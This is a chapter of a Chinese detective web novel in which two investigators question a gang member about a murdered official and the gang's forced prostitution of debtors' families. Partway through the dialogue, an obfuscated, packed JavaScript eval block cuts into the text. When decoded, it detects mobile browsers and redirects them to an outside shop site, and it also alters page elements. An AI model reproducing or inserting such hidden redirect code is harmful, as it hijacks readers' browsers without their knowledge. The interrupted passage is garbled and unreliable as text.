48.肆拾捌
作品:《觅知记[探案]》 秦觅回头看看慕天知,镇抚使大人露出淡淡冷笑,走到他面前。
家丁恭敬地五指并拢往院中一指:“两位贵客请随我来。”
慕天知将秦觅拉到身侧,错后自己半个身位,方便保护,以免这看似平静的宅院里埋伏着什么古怪。
这帮活在暗处的家伙本事大得很,能知道自己会来,并不稀奇,或许从宋源死的那天,他们就知道自己一定会找上门来。
院子很大,几进院不好说,但不是常规的院落结构,大路接小路,小路转游廊,游廊尽头是月洞门,又见不少僻静的小院,里边看不出点没点灯,窗户都暗着,不知道是没人,还是挡住了。
秦觅沿路一直仔细观察,猜想这里到底是这黑老鸨的什么地方,老巢吗?
盘丝洞似的,没准儿是用来“招待”那些有特殊需求的顾客。
可为什么听不到人声呢?
两人在院中走了很久,总算到了一处看起来像主院的地方,家丁把他们带进去了主屋正厅,请他们落座稍后,接着便脚步匆匆地进了后堂。
慕天知和秦觅都没坐,谨慎地环顾四周。
此处看起来极为平常,烛台上点着手臂那么粗的蜡烛,屋内甚至比镇抚使大人的办公邸还亮堂,角落里阴影都不重,看上去很是光明磊落。
方才的家丁又走了出来,手里托盘上放着茶壶茶杯,恭敬地放在座椅旁边的小几上:“两位请用茶,我们当家的马上出来。”
说完就退下了。
慕天知冲秦觅使了个眼色,接着大马金刀往椅子上一坐,端起茶杯闻了闻,并没有沾唇,又放了回去。
秦觅坐在他身旁,见状压低声音问道:“有问题?”
慕天知缓缓摇头:“小心为上。”
“镇抚使大人真是够谨慎,但我们就算有一百个胆子,也不敢在您身上玩花样啊!”
后堂传来一个清脆悦耳的声音,听起来是男子,年纪应当不大,音调中颇有些故意拿捏的矫揉造作。
这腔调秦觅听起来很耳熟,跟东篱院、竹影阁那里的小倌颇为相似。
随着声音走出来的那个人,身穿一件孔雀蓝的竖领对襟窄袖短衫,下配同色马面裙,分明是扮成了女子模样,只有发髻还是男子样式,简单用一根白玉簪固定在头上,行走间婷婷袅袅,显然也在效仿女子步态。
来之前,秦觅从慕天知那里了解过这个叫做鸿运帮的情况。
简单来说,就是无恶不作的一个帮派。
经营不少地下赌坊、钱庄和黑市,顺手用扣押为人质的他人妻女做皮肉生意,帮内一共三个当家,皮肉这种“附加”生意,由三当家的情人来把控。
鸿运帮三个当家及其家眷行踪都极为隐蔽,都衍卫的暗桩几乎见不到他们本人,只能转弯抹角地打听情报,是以就连慕天知和秦觅都不知道,这位小情儿居然是个爱穿女装的男子。
这男人约莫二十出头,估计是那位三当家的新欢。
他们这种皮肉生意同寻常的青楼瓦肆不同,是不折不扣的逼良为娼,真正的妇道人家狠不下心,倒是这种雌雄莫辨的人,既懂恩客的心思,又有男子的狡诈与狠辣,才能做得游刃有余。
眼前这位相貌清秀俊朗,眸光流转,端的是风情万种,但那双灵动的眼睛里裹挟着一抹狡黠的光,显然内里心机不少。
他直勾勾地盯着慕天知,目光简直要把人衣服扒掉,看上去对北镇抚司毫无畏惧。
秦觅知道,北镇抚司不直接负责江湖事务,若论起来,这些背地里见不得光的人,归兵马司、巡捕营、保火甲和巡城御史管。
水至清则无鱼,他们并不会对这些帮派赶尽杀绝,而是会维持一个微妙的平衡,免得将这些恶徒赶狗入穷巷,闹出更大的乱子。
若是闹出人命,有人报官,这些府衙会出面管理,帮派内部也会派人顶包,迅速将此事了解,以免扩大矛盾。
官家能交差,帮派为赚钱,各有所图。
北镇抚司虽然也可以插手治安,但总得师出有名,若是贸然打破这个平衡,后果并非皇帝喜闻乐见。
当然,慕天知也不会怕一个帮派里三当家的小情人,气定神闲地看着他:“阁下怎么称呼?”
“草民姓柳,贱名一个‘榕’字,大人可称呼我为榕儿。”柳榕笑盈盈地说。
与小倌讨好恩客的那种笑容不同,这位看上去有一种“你奈我何”的骄矜,又带了些平日被人惯坏了的娇滴滴,配上刻意捏出来的嗓音,秦觅觉得胃里有点翻腾。
慕天知面色不改:“柳公子,你既知道我会上门,就知道我是何来意,那我们就别浪费时间了。”
“先前听说宋谕德出了事,又是那样的惨状,草民便知此事跟他那胯.下二两肉有关。左谕德大人爱好与众不同,人又小心谨慎,他想要的人一直都是由我提供,这次居然绕过我,就出了事,草民这心里真是不安生。”
柳榕柔弱无骨般地靠在慕天知的扶手旁,神情哀怨地说:“这两日一直等着大人上门,好把事情说清楚,天可怜见,总算把大人等来了!”
这话慕天知半句都不信,猫有猫道,狗有狗道,自己能查到这里,这些人耳目众多,应当也能查到自己的动向,提前做好准备。
秦觅则觉得,鸿运帮手里的贵客死得这么惨,传出去他们肯定要受连累,不光别的贵客会闻风丧胆,宋源可是皇亲国戚,若是圣上动了心思要铲除他们杀鸡儆猴,他们可就成了靶子了。
恐怕这鸿运帮的人,更想抓住那真凶!
“闲话莫提,我问你,你说宋源要的人都是由你提供,那他为何会中了别人的圈套?”慕天知冷声问。
柳榕叹了口气:“肯定是打着我的幌子!我已派人去追查这王八犊子,坏我生意和名誉,抓到他我一定要他不得好死!”
“既然能打着你的幌子,显然知道你做这种勾当,这样的人都有谁?”慕天知继续问道。
“都有谁?”柳榕轻笑一声,“同道中人呗。”
秦觅问道:“会是同行吗?”
“不会,肯定是外来人,目标直奔宋谕德而去。”
“何以见得?”
“我们同行之间井水不犯河水,若是这么做那就是坏了规矩,后果严重得多,这行当赚不了几个钱,他们犯不着这样。”柳榕跟秦觅说话时,表情很淡,没有先前那种风情万种,像是随便应付一下。
慕天知目光沉沉地看着他:“那你现在有什么线索?”
“我若告诉大人,大人给我什么奖励?”柳榕笑得灿烂,手臂搭上他的肩膀。
慕天知岿然不动,乜着他:“你觉得我会跟你谈条件?”
“大人是兵,我是贼,难得大人需要用着我,那奴家自然得趁机要点好处,您说是不是?”柳榕那双看起来就养得很好的白皙手掌在他胸口轻轻抚过。
慕天知漫不经心地说:“都衍卫若想查,翻遍曜京每一个角落,也能把那人给抓出来,用不着跟你交换什么。”
“若是真不需要,大人也不会亲自来找我了。”柳榕冲他抛了个媚眼,凑到他耳边,压低声音说,“奴家不是觉得都衍卫办不了事,但曜京这么大,就算每一个角落都翻过,也需要时间。宋谕德虽然官不大,但到底是皇亲国戚,圣上一定想尽快将真凶捉拿归案,大人一定顶了莫大的压力,何不松松手指缝,好让奴家为大人尽些心意呢?”
秦觅在旁边突然“啧”了一声,打破了那两人间“旁若无人”的氛围。
柳榕向他看过去,不悦道:“这位大人,觉得我说的哪里不对吗?”
“没什么不对,就是觉得柳公子人虽聪明,却还是少了些城府。”秦觅温和地笑道,“有些事心照不宣,像你这样明晃晃地说出来,就成了拿捏大人,就算大人有心想松松手,你这也逼得他难办——这不是显得他向你服软吗?大人年纪轻轻就能执掌北镇抚司,你觉得他会扛不住这点压力?”
听闻此言,慕天知禁不住笑出声来,而柳榕那花朵一样的脸上瞬间变了色。
“镇抚使大人,奴家断不敢有这意思,方才已经说得很清楚,只不过是为了跟您讨些好处罢了。”他笑也不笑了,松开手站起身来,肃立道,“谋生不易,还请体谅。”
“你若不易,那些被你拿来抵债的妇女儿童岂不是身在地狱?!”秦觅冷声道。
柳榕看着他,冷笑了一声:“那又如何?她们都是心甘情愿的!陪一陪那些达官显贵,就能抵上一些自己相公、儿子、父亲欠的债,我看她们乐意得很!各人有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17465898|200885||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
各命,摊上那样的家人就得认命,我这还算给了她们一条生路,也是在帮她们!”
他走到前边主座坐下,脸色阴沉沉的:“两位大人,北镇抚司也不是什么桃花源,这世道究竟什么样你们比我更清楚,我们鸿运帮跟朝廷官家相安无事这么多年,倒是现在用大帽子来压我了?”
“并非压你,你自己也说了,我们是兵,你是贼,贼见了兵还这么趾高气扬,这不是给人借口惩治你吗?”秦觅慢条斯理地说,“柳公子,贵帮三当家太过娇养你,让你这般不知天高地厚,但你要是为他着想,还是收收尾巴的好,尤其今次这件事,朝廷若想借机收拾你们,不过是圣上一句话,你居然觉得自己有资格跟北镇抚司谈条件,不觉得愚蠢吗?”
这话说得尖酸刻薄,但也把底牌亮得明确,柳榕很生气,手紧紧抓着座椅,用力用得骨节发白。
但最终没再继续顶嘴。
“我们在清静坊的眼线说,那日宋源夜半离开时,撞见个自告奋勇的男子,那人拿了画轴给他看,宋源便露出了满意的笑容,想来那是一幅女子画像。”柳榕不再装相,冷淡地说起了查到的线索,“宋源此人,唯好二十三岁到三十岁的妇人,还得要那种国色天香、温柔贤惠,又心甘情愿伺候他的,而且一次就腻,次次都得换新人,就算国色天香、温柔贤惠的好找,心甘情愿的有多少?那可都是正经人家的娘子!”
这跟他之前说的完全相悖,简直自己打自己的脸。
秦觅心里苦笑,不知道这位柳公子到底多受宠,实在是太任性。
这么年轻,却做着这样丧尽天良的勾当,还不觉得有错,实在是让人心生叹息。
慕天知问道:“你前后给他介绍过几名女子?都是哪里人?”
“大人觉得有可能是家人复仇?”柳榕摆摆手,“不可能,那些人都是曜京人氏,家人没有一个有血性的,宋源要人心甘情愿,为的就是防止被人报复。”
“还查到了什么?”慕天知追问道。
柳榕看着他,欲言又止,显然还是想提些条件,但最后还是作罢。
“眼线没听清他们说的什么,但是等他俩分开之后,跟了那人一小段,打听到此人自称‘郑彪’,浙东府口音,离开了清静坊之后,沿大路走了会儿,最后消失在宁德坊那一片。”他叹息道,“这个郑彪显然知道自己在做什么,也是个掩藏形迹的好手,最近我的人在宁德坊那边找了许久,都没发现他的踪影,恐怕他的名字也是假的,人也已经搬走了。”
秦觅问道:“你的人什么时候开始找的?”
“案发之后,当时虽然注意到了这个人,但不知道他想干什么,我并未采取行动。”柳榕遗憾地说,“要是早知道,说不定还能救宋大人一命,他多少也会承我的情。”
慕天知沉吟片刻:“这个郑彪,你可有画像?”
“手下给我看过,但看完就让他们拿去寻人了,不在我手里。”
秦觅从袖筒掏出画像展开:“那你认一认,是这个人吗?”
柳榕盯着那张纸细细看过,冷笑道:“果然是易过容的,我们看到的那个脸上有胡子,眼睛也粘小了。”
“那你怎么能断定是同一个人?”秦觅问道。
柳榕轻哼了一声:“我最会识人,过目不忘,这人易容没改鼻子,山根丰隆、鼻梁起节,左右金甲略宽,是他脸上最明显的特征,看来他对相面一无所知,易容手法也稀松平常——你怎么知道他没易容时是何模样?”
“早说叫你夹着尾巴,北镇抚司办案岂会落于你之后?我们来这一趟,不过是为了核实一些线索罢了。”秦觅莞尔,把画像放在小几上,“留给柳公子参谋吧。”
柳榕被他说得脸色不太好看,但又像是心悦诚服:“敢问大人怎么称呼?”
“在下算不得什么大人,区区刑名师爷罢了。”秦觅自谦道。
柳榕看了眼一旁久未发声、却眼角含笑地望着秦觅的慕天知,似乎立刻明白了什么:“能得镇抚使大人赏识,想必是大才之人,在下幸会。”
“好了,不必现学拍马屁,若你有新的线索,尽快去北镇抚司通报,若发现这个自称郑彪的男子,切勿私自采取行动!”
慕天知站起身,心情大好地说:“走了,师爷。”

